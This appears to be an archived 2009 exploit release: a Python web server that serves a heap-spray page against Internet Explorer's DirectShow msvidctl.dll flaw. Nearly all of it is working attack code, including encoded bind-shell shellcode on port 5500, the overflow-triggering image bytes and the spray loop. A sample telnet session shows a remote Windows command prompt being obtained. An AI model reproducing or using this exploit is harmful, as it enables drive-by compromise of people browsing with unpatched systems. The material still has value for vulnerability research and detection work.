msie-overflow.txt
Posted on 10 July 2009
#!/usr/bin/env python ###################################################################################### # MS Internet Explorer 7 DirectShow (msvidctl.dll) Heap Spray (Advisory 972890) # ###################################################################################### # # # Written by SecureState R&D Team # # Authors: David Kennedy (ReL1K), John Melvin (Whipsmack), Steve Austin # # http://www.securestate.com # # # # win32_bind EXITFUNC=seh LPORT=5500 Size=314 Encoder=ShikataGaNai Shell=bind # # # ###################################################################################### # Tested on WinXPSP3, Win2k3SP2, WinXPSP2 on IE6 and IE7 # ###################################################################################### # # # This exploit is publicly being exploited in the wild, opted to release this # # to the research community. Microsoft is aware of the vulnerability. # # # ###################################################################################### # # # [-] Exploit sent... [-] # # [-] Wait about 30 seconds and attempt to connect.[-] # # [-] Connect to IP Address: 10.211.55.140 and port 5500 [-] # # # # relik@sslinuxvm1:~$ telnet 10.211.55.140 5500 # # Trying 10.211.55.140... # # Connected to 10.211.55.140. # # Escape character is '^]'. # # Microsoft Windows [Version 5.2.3790] # # (C) Copyright 1985-2003 Microsoft Corp. # # # # C:Documents and SettingsAdministratorDesktop> # # # # # # NOTE: The javascript code is not obfuscated in anyway, normal A/V should pick this # # up. This is intentional. # # # # Improved reliability, appears to be about 95 percent of the time. Adjusted the # # spray size a bit. # # # ###################################################################################### from BaseHTTPServer import HTTPServer from BaseHTTPServer import BaseHTTPRequestHandler import sys,binascii try: import psyco psyco.full() except ImportError: pass class myRequestHandler(BaseHTTPRequestHandler): try: def do_GET(self): # Always Accept GET self.printCustomHTTPResponse(200) # trigger the overflow *boom* if self.path == "/ohn0es.jpg": unhex=binascii.unhexlify("000300001120340000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0c0c0c0c00") self.wfile.write(unhex) if self.path == "/": target=self.client_address[0] self.wfile.write("""<html><head>""") self.wfile.write(""" <script language="JavaScript" defer> function Check() { // win32_bind - EXITFUNC=seh LPORT=5500 Size=314 Encoder=ShikataGaNai http://metasploit.com */ var shellcode = unescape("%ud9db%u74d9%uf424%uc929%u51b1%u02bf%u6c21%u588e%u7831%u8317%u04c0%u7a03%u8e32%u867b%ua55e%u9ec9%uc666%ua12d%ub2f9%u79be%u4fde%ubd7b%u2c95%uc581%u23a8%u7a02%u30b3%ua44a%uadc2%u2f3c%ubaf0%uc1be%u7cc8%ub159%ubdaf%uce2e%uf76e%ud1c2%ue3b2%uea29%ud066%u79f9%u9362%ua5a5%u4f6d%u2e3f%uc461%u6f4b%udb66%u8ca0%u50ba%ufebf%u7ae6%u3da1%u59d7%u4a45%u6e5b%u0c0d%u0550%u9061%u92c5%ua0c2%ucd4b%ufe4c%ue17d%u0101%u9f57%u9bf2%u5330%u0bc7%ue0b6%u9415%uf86c%u428a%ueb46%ua9d7%u0b08%u92f1%u1621%uad98%ud1df%uf867%ue075%ud298%u3de2%u276f%uea5f%u118f%u46f3%uce23%u2ba7%ub390%u5314%u55c6%ubef3%uff9b%u4850%u6a82%uee3e%ue45f%ub978%ud2a0%u56ed%u8f0e%u860e%u8bd8%u095c%u84f0%u8061%u7f51%ufd61%u9a3e%u78d4%u33f7%u5218%uef58%u0eb2%udfa6%ud9a8%ua6bf%u6008%ua717%uc643%u8768%u830a%u41f2%u30bb%u0496%uddde%u4f38%uee08%u8830%uaa20%ub4cb%uf284%u923f%ub019%u1c92%u19a7%u6d7e%u5a52%uc62b%uf208%ue659%u15fc%u6361%ue547%ud04b%u4b10%ub725%u01cf%u66c4%u80a1%u7797%u4391%u5eb5%u5a17%u9f96%u08ce%ua0e6%u33d8%ud5c8%u3070%u2d6a%u371a%uffbb%u171c%u0f2c%u9c68%ubcf2%u4b92%u92f3"); var bigblock = unescape("%u9090%u9090"); var headersize = 20; var slackspace = headersize + shellcode.length; while (bigblock.length < slackspace) bigblock += bigblock; var fillblock = bigblock.substring(0,slackspace); var block = bigblock.substring(0,bigblock.length - slackspace); // Original spray size below, use if you want exploit to load faster with higher crash rate. // while (block.length + slackspace < 0x40000) block = block + block + fillblock; while (block.length + slackspace < 0x70000) block = block + block + fillblock; var memory = new Array(); for (i = 0; i < 350; i++){ memory[i] = block + shellcode} var myObject=document.createElement('object'); DivID.appendChild(myObject); myObject.width='1'; myObject.height='1'; myObject.data='./ohn0es.jpg'; // Vulnerable ID myObject.classid='clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF'; } </script> </head> <body onload="Check();"> <div id="DivID">""") self.wfile.write("""<title>MS Internet Explorer 7 DirectShow (msvidctl.dll) Heap Spray (Advisory 972890)</title></head><body>""") self.wfile.write("""<left><body bgcolor="Black"><font color="White"> ############################################################################### <br>MS Internet Explorer 7 DirectShow (msvidctl.dll) Heap Spray (Advisory 972890) <br>Written by SecureState R&D Team <br>Authors: David Kennedy (ReL1K), John Melvin (Whipsmack), Steve Austin <br>http://www.securestate.com <br>win32_bind EXITFUNC=seh LPORT=5500 Size=314 Encoder=ShikataGaNai Shell=bind <br>Tested on WinXPSP3, Win2k3SP2, WinXPSP2 on IE6 and IE7 <br>###############################################################################<br> <br>""") print (" [-] Exploit sent... [-] [-] Wait about 30 seconds and attempt to connect.[-] [-] Connect to IP Address: %s and port 5500 [-]" % (target)) # Print custom HTTP Response def printCustomHTTPResponse(self, respcode): self.send_response(respcode) self.send_header("Content-type", "text/html") self.send_header("Server", "myRequestHandler") self.end_headers() # In case of exceptions, pass them except Exception: pass httpd = HTTPServer(('', 80), myRequestHandler) print (""" ##################################################################################### # MS Internet Explorer 7 DirectShow (msvidctl.dll) Heap Spray (Advisory 972890) # ##################################################################################### # # # Written by SecureState R&D Team # # Authors: David Kennedy (ReL1K), John Melvin (Whipsmack), Steve Austin # # http://www.securestate.com # # # # win32_bind EXITFUNC=seh LPORT=5500 Size=314 Encoder=ShikataGaNai Shell=bind # # # ##################################################################################### # Tested on WinXPSP3, Win2k3SP2, WinXPSP2 on IE6 and IE7 # ##################################################################################### """) print ("[-] Starting MS Internet Explorer 7 DirectShow (msvidctl.dll) Heap Spray [-]") print ("[-] Have someone connect to you on port 80 [-]") print (" Type <control>-c to exit..") try: # handle the connections httpd.handle_request() # Serve HTTP server forever httpd.serve_forever() # Except Keyboard Interrupts and throw custom message except KeyboardInterrupt: print (" Exiting exploit... ") sys.exit(1)
